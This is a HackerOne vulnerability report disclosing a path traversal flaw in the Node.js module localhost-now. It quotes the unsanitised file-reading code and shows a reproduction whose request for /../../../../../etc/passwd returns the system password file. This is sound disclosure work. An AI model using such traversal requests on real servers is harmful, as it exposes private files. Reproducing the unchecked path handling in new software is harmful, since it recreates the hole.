Node.js third-party modules: [localhost-now] Path Traversal allows to read content of arbitrary file

ID H1:312889
Type hackerone
Reporter bl4de
Modified 2018-02-26T21:22:37


Hi Guys,

There is Path Traversal in localhost-now module. It allows to read content of arbitrary files on the remote server.



This is a general file server made by nodejs. It will be easy for you to access the files on the server through the browser.

version: 1.0.1

Stats 0 downloads in the last day 24 downloads in the last week 89 downloads in the last month

~1100 estimated downloads per year


Lack of file path sanitization causes that any file on the server might be read by malicious user:

```javascript // node_modules/localhost-now/lib/app.js, line 10: var url = req.url;

if (url.indexOf('?') != -1) {
    url = url.split('?')[0];

var file = url === "/" ? "/index.html" : url;

fs.readFile(path.normalize(process.cwd()) + file, function(err, data) {

``` Path is read directly from request and used to read content of file without checking against Path Traversal attempt.

Steps To Reproduce:

  • install localhost-now:

$ npm install localhost-now

  • run localhost-now in direcotry of your choice:

me:~/playground/hackerone/Node$ ./node_modules/localhost-now/bin/localhost Web Server started on localhost:1337

  • execute following curl command (adjust number of ../ to reflect your system):

$ curl -v --path-as-is

  • see result:

* Trying ::1... * Connected to localhost (::1) port 1337 (#0) > GET /../../../../../etc/passwd HTTP/1.1 > Host: localhost:1337 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < content-type: text/ < Date: Tue, 06 Feb 2018 14:06:55 GMT < Connection: keep-alive < Content-Length: 2615 < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin (...)

Supporting Material/References:

  • Ubuntu 16.04 LTS
  • Chromium 66.0.3333.0 (Developer Build) (64-bit)
  • Node.js version: v8.9.4 LTS
  • npm version: 5.6.0
  • curl 7.47.0

Please feel free to invite module maintainer to this report. I haven't contacted maintainer as I want to keep the process of fixing and disclosing bug consistent through HackerOne platform only.

I hope my report will help to keep Node.js ecosystem and its users safe in the future.


Rafal 'bl4de' Janicki


This vulnerability might be used to read content of any file on the server where module is run